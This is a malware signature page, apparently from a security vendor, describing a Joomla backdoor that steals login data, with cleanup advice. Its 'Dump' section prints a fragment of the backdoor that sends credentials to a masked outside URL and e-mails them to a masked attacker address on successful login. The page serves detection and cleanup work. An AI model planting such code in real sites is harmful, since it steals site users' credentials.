Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.backdoor.joomla_steal.001

php.backdoor.joomla_steal.001

Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.

There are backdoors in the wild which are CMS (Content Management System) specific. Some of them are aimed e.g. on Joomla, WordPress or vBulletin (and other systems as well) using their specific commands or based on the structure of such CMS. php.backdoor.joomla_steal is detection of malware responsible for stealing Joomla data such as users, passwords or other sensitive information.

Affecting

Any vulnerable Joomla website.

Cleanup

Cleanup is done by deleting the malicious code from the file, or replacing it with a fresh version. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.

Dump

Code responsible for sending login data back to the attacker's e-mail address:

// Start Login Protection
if ($response->status === JAUTHENTICATE_STATUS_SUCCESS) {
@file_get_contents("http://www.----------.com/cgi-bin/optimus.pl?prime=$stringData");
@mail("----@------------.com", $_SERVER["SERVER_NAME"], $stringData);
if (!$userOk) {
$fh = fopen($mySuccessFile, "a");
fwrite($fh, "$ipn");
fclose($fh);